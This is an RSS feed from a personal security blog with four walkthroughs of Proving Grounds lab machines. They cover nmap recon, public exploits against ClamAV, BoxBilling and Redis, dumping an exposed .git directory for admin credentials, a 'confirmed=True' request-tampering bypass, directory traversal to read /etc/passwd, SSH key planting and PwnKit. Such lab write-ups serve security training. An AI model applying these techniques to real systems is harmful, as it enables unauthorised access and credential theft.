<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>MAXSEC</title><description>My blog about cybersecurity, programming and other things related to computer science.</description><link>https://maxk9999.vercel.app</link><item><title>PG-ClamAV</title><link>https://maxk9999.vercel.app/posts/clamav</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/clamav</guid><pubDate>Thu, 02 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.115.42
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -oN nmap  192.168.115.42 -T5 -vvvv --min-rate=5000 -sT

PORT    STATE SERVICE     REASON  VERSION                                        22/tcp  open  ssh         syn-ack OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
25/tcp  open  smtp        syn-ack Sendmail 8.13.4/8.13.4/Debian-3sarge3     
80/tcp  open  http        syn-ack Apache httpd 1.3.33 ((Debian GNU/Linux))
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-title: Ph33r
|_http-server-header: Apache/1.3.33 (Debian GNU/Linux)
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
199/tcp open  smux        syn-ack Linux SNMP multiplexer
445/tcp open  netbios-ssn syn-ack Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP)
Service Info: Host: localhost.localdomain; OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I went ahead and ran a &lt;code&gt;searchsploit&lt;/code&gt; search for all the versions, and did find one that seemed interesting for the &lt;code&gt;Apache&lt;/code&gt; server:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/332a7956c6bfe8b2ac58f232f1fe9e71.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ll note it for now but enumerate further.&lt;/p&gt;
&lt;p&gt;I reran the nmap scan with all ports and found an unusual high number port:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;60000/tcp open  ssh         syn-ack OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So for now we have a &lt;strong&gt;SMB&lt;/strong&gt; server and an &lt;strong&gt;Apache&lt;/strong&gt; webserver. I&apos;ll check port 80 first.&lt;/p&gt;
&lt;h1&gt;Initial Foothold&lt;/h1&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;Going to the site I found nothing of interest:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/848515e783b769c135f4bdc650fc4b62.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked the page source as well, but didn&apos;t find anything.&lt;/p&gt;
&lt;p&gt;I converted the binary to text:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1bdfc2eb8be31b1d12237dbca40f534f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Understood, time to pwn it then.&lt;/p&gt;
&lt;h2&gt;199/TCP - SNMP&lt;/h2&gt;
&lt;p&gt;I went ahead and enumerated this port using &lt;code&gt;snmp-check&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c0faae3a43a4e33750d03ca40d73ca21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling a bit down I found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/19a58af38c4c7ed0e58be8943b94de39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;it&apos;s the &lt;code&gt;ClamAV&lt;/code&gt; antivirus that is also conveniently the name of the box.&lt;/p&gt;
&lt;p&gt;I looked it up to see if there&apos;s a PoC for it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8888c3814e79ae4446922fe0911a9fe5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There appears to be a RCE PoC available. Let&apos;s try it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c8381c519bd3e704114b2fb51216522.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;Afterwards we can just continue to &lt;strong&gt;port 31337&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1adcd61ab4806ae8af8032c8b79ea201.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-BullyBox</title><link>https://maxk9999.vercel.app/posts/bullybox</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/bullybox</guid><pubDate>Fri, 03 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.196.27
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -oN nmap bully -T5 -vvvv --min-rate=5000 -sT -p-

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
|   256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn&apos;t have a title (text/html).
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It appears this box only has 2 open ports. Let&apos;s start with enumerating port 80.&lt;/p&gt;
&lt;p&gt;:::note
In the meantime I will run gobuster in order to enumerate sub directories.
:::&lt;/p&gt;
&lt;h2&gt;Gobuster&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://bullybox.local -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x txt,pdf,config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gave a huge output of a bunch of numbers endpoints, but I did find one that could help my further search:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/565fcaf0935699abfb86dda0bddc7731.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I reran gobuster again using a different list:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b6539bfceccf33f2624e2231f7de938b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Found something!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1fa60113fadcf80e1d7370801e425e20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We&apos;ll first enumerate the website, then perhaps come back to this.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/82fe5a8d111808e0723b5ff1e97579a0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b38abefed1274281917893eb61c44081.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I registered for an account and logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dc6e1630db5419be6d9f864d2709d66b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From the page source we find the HIGHLY LIKELY version of &lt;strong&gt;BoxBilling&lt;/strong&gt; running:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8acbe09f2b5974fd1b8b28a07229d7c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking up this version online yields the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b46b7605a8c1be84aa28de1f9704c898.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ebbc93fb220ea24a2713ac447f41f295.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately we do not have &lt;em&gt;admin&lt;/em&gt; access yet. I checked how to acquire it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec693a2524fd030235922a485430bc7b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7dc024ed67fd7af11ad26f43418114ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We&apos;ve now found the admin log in area.&lt;/p&gt;
&lt;p&gt;Whenever I enter some sort of creds I get this popup:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9272897a252a19602ed0257555e903c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went and inspected the POST request using burp.&lt;/p&gt;
&lt;h3&gt;git-dumper&lt;/h3&gt;
&lt;p&gt;We still really need the admin creds to modify the request.&lt;/p&gt;
&lt;p&gt;Let&apos;s check out that &lt;code&gt;.git&lt;/code&gt; directory again using a tool called &lt;code&gt;git-dumper&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pipx install git-dumper
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b72526b0b8410d5d9cf986ab89eb4307.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This resulted in an absolute massive output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/402b2f5ca3744170ab1ac7e120b2446f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found the config file at the top which was LIKELY to contain a password in this case:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/48ed9393951b0fde9a35d08e592ca358.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome, we got the admin creds. Let&apos;s move forwards&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
Playing-Unstylish7-Provided
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we still need the email in order to log in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e84a53ab4c515a3a831ddb870b6641dd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2d1962fb717df4f2de724dfe913a5ce0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We have succesfully logged in as admin.&lt;/p&gt;
&lt;h3&gt;RCE&lt;/h3&gt;
&lt;p&gt;To make our life easier there&apos;s a ready-made GitHub PoC available for us:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b43ab85ae66438fb7d3506b0d249e9c2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
The script failed on me at the start because of some dependency issues but was solved by using &lt;code&gt;sudo apt install python3-pwntools&lt;/code&gt;.
:::&lt;/p&gt;
&lt;p&gt;We then make sure the last modifications are done:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dadd9ec5a5d979ccb8270dcadf0c06d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b7aaebcd453b9a2df28a2cf5ba3b0dd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nice we got our shell, time to get the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/58b8ed67e84d5ccdd3c5bbbddfb52331.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Well shit. Let&apos;s do some enumeration.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/26f23b1ee3a77e59653f7e2fd3ad1ddf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Oh well that saves some time.&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c6d7082c49898991d68f91fd82e7e497.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ez pz.&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Boolean</title><link>https://maxk9999.vercel.app/posts/boolean</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/boolean</guid><pubDate>Sat, 04 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.188.231
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -oN nmap 192.168.188.231 -T5 -vvvv --min-rate=5000 -sT -p-

PORT      STATE  SERVICE REASON       VERSION
22/tcp    open   ssh     syn-ack      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open   http    syn-ack
|_http-title: Site doesn&apos;t have a title (text/html; charset=UTF-8).
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     HTTP/1.1 400 Bad Request
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|_    Content-Length: 0
3000/tcp  closed ppp     conn-refused
33017/tcp open   http    syn-ack      Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Development
|_http-server-header: Apache/2.4.38 (Debian)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s weird, we get 3 ports of which &lt;code&gt;3000&lt;/code&gt; seems to be closed but still shown, and &lt;code&gt;80&lt;/code&gt; is open but has a &lt;code&gt;403&lt;/code&gt; code. I decided to check it using &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a9400f41dad9d53d6416d098b9c8e69f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However port &lt;code&gt;33017&lt;/code&gt; gave us some other output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d0041c4e512cc626e8d4e91d3d3844de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems this port is still in development, could be a potential attack vector. We&apos;ll note it down for now.&lt;/p&gt;
&lt;h2&gt;Gobuster&lt;/h2&gt;
&lt;p&gt;Let&apos;s do some directory enumeration.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/40daab2e580108522d7f41524c262145.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get some &lt;code&gt;filemanager*&lt;/code&gt; pages, including a &lt;code&gt;.config&lt;/code&gt; file which could be potentially interesting. Problem is that we need login creds in order to access it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d3d3a54ebb7b78609a22a280f81969d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Funnily enough when we check the page source we notice something interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7ae17245eafb397820e262e5bc1444c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I registered for an account using fake creds but couldn&apos;t get access.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c38529623aead9e3de5ec7e1094f3965.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e11ca1ddaf7d6bcbd7f6229c91542a24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then checked the other port:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5cba528d1f74158e976eb6956b545ac6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This yet again showed us a bunch of interesting extensions but we couldn&apos;t access them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/55003cf1387aad436f6f1e7ed1186a4c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Initial Foothold&lt;/h1&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;Using &lt;strong&gt;WappAlyzer&lt;/strong&gt; I found out that the webpage was using &lt;strong&gt;Ruby on Rails&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c698ec8b2d7b035650deede7e74b5fc4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since the exact version was not known nor found I had to do some digging.&lt;/p&gt;
&lt;p&gt;I booted up burpsuite and analyzed the POST request.&lt;/p&gt;
&lt;p&gt;:::note
It turns out that when a user creates an account, they need to verify the email first.
Via burp I found out that the response told the server whether the &lt;code&gt;confirmed&lt;/code&gt; state was either &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;, e.g. a Boolean value.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7a9a1075dd975c0bf8fafd5ff870a60a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We needed to zoom in on this part:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0181260f7fa6cdcf2785e5d35e164004.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This response meant that we could manipulate our request by adding the &lt;code&gt;confirmed=true&lt;/code&gt; value.&lt;/p&gt;
&lt;p&gt;Let&apos;s test it out.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Change ONLY the following parameter
user%5Bemail%5D=test1%40gmail.com

# Into
user%5Bconfirmed%5D=True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/73cda4143495732ed9802359021e6f87.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By modifying the request we were able to verify our email address and account, now let&apos;s login.&lt;/p&gt;
&lt;p&gt;Upon refreshing the page we got a new dashboard:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/39aa6d89a09f110df3177ff40fc010c0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tested the upload function to better understand it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f3d736a80cb5346c519a0fa7ba028fdd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then right clicked the file to check where it was uploaded:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5f2b2f9944ff5132ea5db1284f0399ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is the link that would execute every time I tried to download the file again.&lt;/p&gt;
&lt;p&gt;Let&apos;s try something out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9fadf9f5f70ce46b6b1485d92a0ffa63.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We were able to get the &lt;code&gt;/etc/passwd&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;:::note
We were able to get the &lt;code&gt;/etc/passwd&lt;/code&gt; file by exploiting a &lt;strong&gt;Directory Traversal&lt;/strong&gt; vulnerability.
:::&lt;/p&gt;
&lt;p&gt;Inside the &lt;code&gt;/etc/passwd&lt;/code&gt; we found the following user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29c9180df86d73935ae17d6a75cdc8b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try to insert a &lt;code&gt;ssh&lt;/code&gt; key in their &lt;code&gt;.ssh&lt;/code&gt; directory in order to simplify logging in to their system.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/77e2f0a6ed1d0a947bb495a56a36b822.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SSH Keygen&lt;/h2&gt;
&lt;p&gt;To drop our ssh key in there we can follow &lt;a href=&quot;https://mqt.gitbook.io/oscp-notes/ssh-keys?source=post_page-----9c7f5b963559--------------------------------&quot;&gt;this guide&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f71eb41da4f55c6a18508ea15774ac88.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8a9855fb19cd362aa502a114f976f56e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/05838d840146b23f224ee216472ca12c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We have successfully copied it over, let&apos;s log in now.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dcb56c72a68ced83da9dca52cac1083b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;local.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0a8671a4daf526c56c435f60b78540f7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;I noticed the &lt;code&gt;boolean&lt;/code&gt; directory in remi&apos;s &lt;code&gt;/home&lt;/code&gt; directory. I went in and started snooping around, after some searching I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e74e688332d3027a241ef6c9f27f2719.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We could try and log into &lt;strong&gt;MySQL&lt;/strong&gt; and check for some interesting stuff.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2b81822ebcb0facfa1e8dcb29fcaf64f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing interesting came up.&lt;/p&gt;
&lt;p&gt;:::note
I got a bit stuck then realized that the &lt;code&gt;root&lt;/code&gt; key was inside remi&apos;s &lt;code&gt;/.ssh/keys&lt;/code&gt; directory, meaning I could just log in using that key.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7f96f5b62c6d598f3ebcc45fb281fd1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
Using normal &lt;code&gt;ssh -i root root@127.0.0.1&lt;/code&gt; kept resulting in an error so this was the only way to get it working.
:::&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Blackgate</title><link>https://maxk9999.vercel.app/posts/blackgate</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/blackgate</guid><pubDate>Wed, 08 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.247.176
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sT -sV -oN nmap 192.168.247.176 -p- -T5 -vvvv --min-rate=5000

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
6379/tcp open  redis   syn-ack Redis key-value store 4.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It appears there&apos;s only 2 services running of which we&apos;re probably only able to test &lt;code&gt;6379&lt;/code&gt; right away.&lt;/p&gt;
&lt;p&gt;It seems to be running on version &lt;strong&gt;4.0.14&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/19fa539ec0a3efb80d23847d31f47910.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems that this exploitation can be done manually but also using metasploit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c0258e0de02ffa6e6df1b78015987950.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d8da0ad1a28b59acd07632f39d3336f7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We&apos;ll first try do some directory enumeration.&lt;/p&gt;
&lt;h2&gt;Feroxbuster&lt;/h2&gt;
&lt;p&gt;This didn&apos;t give us anything:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/23a83dd0dc61f8b296050f1e1e93826c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Initial Foothold&lt;/h1&gt;
&lt;h2&gt;6379/TCP - Redis&lt;/h2&gt;
&lt;p&gt;I did some more digging since the GitHub page I first listed won&apos;t be useful, the payload that the person used is no longer available.&lt;/p&gt;
&lt;p&gt;We&apos;ll have to find an alternative.&lt;/p&gt;
&lt;p&gt;Luckily &lt;a href=&quot;https://book.hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html&quot;&gt;hacktricks&lt;/a&gt; comes to save the day yet again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b488079d2dfe08dba9d1c71e9aace737.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/88d69376d8850b56c69ebfdfcba3e9f6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try it from the easiest solution to the furthest.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -vn 192.168.247.176 6379

info
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc97b11da82991056ce542a5f4ea5ddf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since we can&apos;t do much from here we should get RCE asap.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/905922721a7985f2229e4f578cb5f487.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0a0fca2ae54706330fa09a0d9dadbb86.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/39107d344621bd361421e4aa72d7e8d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9ebcc93bdc9d9417afb0477077966753.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we got our shell.&lt;/p&gt;
&lt;h3&gt;local.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a0ffedb8efc4bd0a7b1f5f6dfe250d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;I then started to check on how to escalate my privileges when I found the following noteworthy:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1acefac8b63dfef19f372df3d7da278d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It turns out this so called &lt;strong&gt;protected mode&lt;/strong&gt; is turned off, and we can run &lt;code&gt;/usr/local/bin/redis-status&lt;/code&gt; as &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;:::note
I went ahead and gave myself an &lt;code&gt;.ssh&lt;/code&gt; shell to get a stable environment.
:::&lt;/p&gt;
&lt;p&gt;I looked up what we could do with the protected mode off but didn&apos;t really find anything. Guess it&apos;s time to transfer over linpeas.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d48ace68711c4d053ff4d413564a45f6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First thing I found was the OS version.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7d313c7c492d5aa3b306ffd82dec017.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I found a PoC called &lt;code&gt;PwnKit&lt;/code&gt; with a link to it, let&apos;s check it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ee7daa0c3c26a7d978a8d8210a80fd15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
